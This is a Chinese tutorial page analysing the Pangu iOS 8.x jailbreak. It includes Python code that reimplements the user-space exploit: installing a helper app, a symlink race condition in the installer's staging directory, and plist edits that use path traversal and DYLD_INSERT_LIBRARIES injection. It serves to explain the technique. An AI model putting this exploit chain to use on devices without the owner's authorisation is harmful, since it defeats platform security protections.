你好,歡迎來到IOS教程網

 Ios教程網 >> IOS教程 >> 蘋果手機教程 >> 盤古越獄原理分析

盤古越獄原理分析

編輯:蘋果手機教程

   最近的盤古團隊出了ios8.X的越獄工具,無疑是備受國人矚目的熱點~

  好的,那麼問題來了,盤古工具究竟是怎麼使用漏洞進行越獄的呢?

  盤古在用戶空間主要利用了iOS安裝程序的一個漏洞,這裡先列出安裝一個應用的主要過程:

盤古越獄原理分析

  整個安裝過程分為12個階段,上圖只是列出了起點、終點還是對盤古越獄來說比較重要的階段。大家注意上圖紅線所示的時間區間,在這個區間內如果在“Staging Directory”中創建一個符號鏈接指向沙盒之外,就可以利用解壓程序向系統目錄寫入文件。同時也可以通過控制壓縮包中的文件列表,在起始處放一個大文件,從而在解壓過程中創建一個符號鏈接。這是在盤古在安裝過程中利用的主要漏洞,後面介紹的盤古在用戶空間的行為基本都是圍繞這個漏洞。

  主要的組件

  盤古主要由四部分組成,:

  1、桌面程序:提供資源,控制越獄流程。

  2、com.pangu.ipa1.ipa:Socket Server,與桌面程序配合制造競態條件。

  3、pangu.dylib,Socket Server,利用內核漏洞安裝Untecher,Cydia等。

  4、pangu.tar,Untecher

  這裡主要涉及的是前兩個組件,及第三個組件中用戶空間相關的部分。

  工作流程

  說明:為了驗證自己的分析是正確的,用Python重新實現了盤古桌面程序的功能,利用盤古的Payload可以實現越獄,下面會在主要階段給出相應示例代碼。

  階段一:安裝輔助程序,獲取相關資源

  1、安裝com.pangu.ipa1.ipa

  複製代碼

  def install_pangu():

  lockdown = LockdownClient()

  afc = AFCClient(lockdown)

  mci = lockdown.startService(\"com.apple.mobile.installation_proxy\")

  file_name = \"com.pangu.ipa1.ipa\"

  afc.set_file_contents(\"/PublicStaging/\" + file_name, open(\"payload/\" + file_name,\"rb\").read())

  mci.sendPlist({\"Command\":\"Install\", \"PackagePath\": \"/PublicStaging/\" + file_name})

  while True:

  status = mci.recvPlist()

  if not status:

  break

  completion = status.get(\"PercentComplete\")

  if completion:

  print \"Installing, %s: %s %% Complete\" % (\"com.pangu.ipa1.ipa\", status[\"PercentComplete\"])

  if status.get(\"Status\") == \"Complete\":

  print \"Installation %sn\" % status[\"Status\"]

  break

  mci.close()

  afc.stop_session()

  lockdown.stop_session()

  首先利用AFC服務將IPA傳到設備上,然後利用 Installation Proxy 安裝應用。

  2、獲取Cache

  複製代碼

  def download_caches():

  fc = FileRelayClient()

  data = fc.request_sources([\"Caches\"])

  fc.stop_session()

  if data:

  file_path = \"./payload/caches.gz\"

  output_path = \"./payload/caches\"

  open(file_path,\"wb\").write(data)

  print \"Data saved to: %s \" % file_path

  with open(file_path, \"r\") as f:

  gz = gzip.GzipFile(mode=\"rb\", fileobj=f)

  cpio = CpioArchive(fileobj=BytesIO(gz.read()))

  cpio.extract_files(files=None,outpath=output_path)

  else:

  print \"Fail to get caches\"

  raise Exception(\"Fail to get caches\")

  調用 FileRelay 服務,獲取Cache,主要是從中拿到com.apple.mobile.installation.plist

  3、修改 com.apple.mobile.installation.plist修改是針對盤古程序的,具體修改如下:

  複製代碼

  CFBundleExecutable = \"../../../../../../usr/libexec/lockdownd\";

  EnvironmentVariables = { DYLD_INSERT_LIBRARIES = \"/private/var/mobile/Media/Pangu-Install/pangu.dylib\"; };

  4、修改盤古程序的Info.plist

  複製代碼

  CFBundleExecutable = \"../../../../../../usr/libexec/lockdownd\";

  5、構造applicationState.plist

  複製代碼

  { \"com.pangu.ipa1\" = { SBApplicationAutoLaunchForVoIP = :true; }; }

  這個會造成盤古程序在設備重啟後自動運行。

  6、com.apple.LaunchServices-056.csstore 主要是為了更新程序列表

  7、com.apple.backboardd.plist 禁用“看門狗”

  基於上述文件盤古會構造三個Payload。

  複製代碼

  def generate_upgrade_bundle1():

  guid_str = get_guid()

  with ZipFile(\"./payload/upgrade1.zip\", \"w\") as payload:

  payload.write(\"./payload/upgrade_bundle/bigfile\", \"/tmp/bigfile\")

  payload.write(\"./payload/upgrade_bundle/com.apple.LaunchServices-056.csstore\", \"/mobile/Library/Caches/com.apple.LaunchServices-056.csstore\")

  payload.write(\"./payload/upgrade_bundle/com.apple.mobile.installation.plist\", \"/mobile/Library/Caches/com.apple.mobile.installation.plist\")

  payload.write(\"./payload/upgrade_bundle/applicationState.plist\", \"/mobile/Library/BackBoard/applicationState.plist\")

  payload.write(\"./payload/upgrade_bundle/com.apple.backboardd.plist\", \"/mobile/Library/Preferences/com.apple.backboardd.plist\")

  payload.write(\"./payload/upgrade_bundle/Info.plist\", \"/mobile/Applications/\" + guid_str + \"/ipa1.app/Info.plist\")

  def generate_upgrade_bundle2():

  # os.remove(\"./payload/upgrade2.zip\")

  guid_str = get_guid()

  with ZipFile(\"./payload/upgrade2.zip\", \"w\") as payload:

  payload.write(\"./payload/upgrade_bundle/bigfile\", \"/tmp/bigfile\")

  payload.write(\"./payload/upgrade_bundle/com.apple.mobile.installation.plist\", \"/mobile/Library/Caches/com.apple.mobile.installation.plist\")

  def generate_upgrade_bundle3():

  # os.remove(\"./payload/upgrade3.zip\")

  guid_str = get_guid()

  with ZipFile(\"./payload/upgrade3.zip\", \"w\") as payload:

  payload.write(\"./payload/upgrade_bundle/bigfile\", \"/tmp/bigfile\")

  payload.write(\"./payload/upgrade_bundle/com.apple.LaunchServices-056.csstore\", \"/mobile/Library/Caches/com.apple.LaunchServices-056.csstore\")

  這個階段會知道三個程序升級包,供下一階段使用。

  另外,可以簡單的理解為:執行完這個階段就對應著盤古提示用戶在手機上啟動程序。

  階段二:利用競態條件安裝文件,構造環境執行pangu.dylib

  當用戶在手機上啟動程序後,手機上的App會啟動一個Socket Server,等待桌面程序的握手,這個握手的暗語挺有意思。桌面向App發送:PING,App收到後回應桌面:PONG。在握手完成後,盤古開始利用靜態條件將如上構造的三個Payload安裝到手機上。

  具體過程為首先利用安裝服務安裝升級包,在安裝的過程中桌面向App發送starthook,具體hook的內容可以通過調試App確定是創建一個符號鏈接:

  複製代碼

  \"/private/var/tmp/install_staging.eP7ZzJ/foo_extracted\" ---> \"/var/\"

  其中後綴部分會因為每次安裝而不同。

  示例代碼:

  複製代碼

  def fire_race_condition(lockdown, file_name):

  mci = lockdown.startService(\"com.apple.mobile.installation_proxy\")

  sock = get_sock()

  print \"----->PING\"

  sock.send(\"PING\")

  msg = sock.recv(4)

  if msg == \"PONG\":

  print \"<-----PONGn\"

  upgrade_pangu(mci, file_name)

  print \"----->starthook\"

  sock.send(\"starthook\")

  msg = sock.recv(4)

  if msg == \"succ\":

  print \"<-----successn\"

  else:

  print \"<-----failn\"

  在完成安裝三個Payload之後,盤古會上傳文件到Media中的 Pangu-Install目錄:

  Cydia.tar

  packagelist.tar

  pangu.dylib

  pangu.tar

  pangu_ex.tar

  至此,盤古基本完成了用戶空間的行為,在界面上的反應為:盤古會第一次重啟設備。

  階段三:利用漏洞安裝Untecher,Cydia

  設備重啟完成後,pangu.dylib會被加載,並啟動一個 Socket Server。桌面程序在檢測到設備加載後會向 pangu.dylib 發送:55AA,pangu.dylib 接到 55AA後開始安裝Untecher、Cydia。

  階段四:清理

  在pangu.dylib完成工作後,向桌面程序發送:AA55,桌面程序開始清理臨時文件,刪除Provisional文件,恢復設備時間等操作。在完成清理操作後,桌面程序會第二次重啟設備,至此越獄完成。

  1. 上一頁:
  2. 下一頁:
蘋果刷機越獄教程| IOS教程問題解答| IOS技巧綜合| IOS7技巧| IOS8教程
Copyright © Ios教程網 All Rights Reserved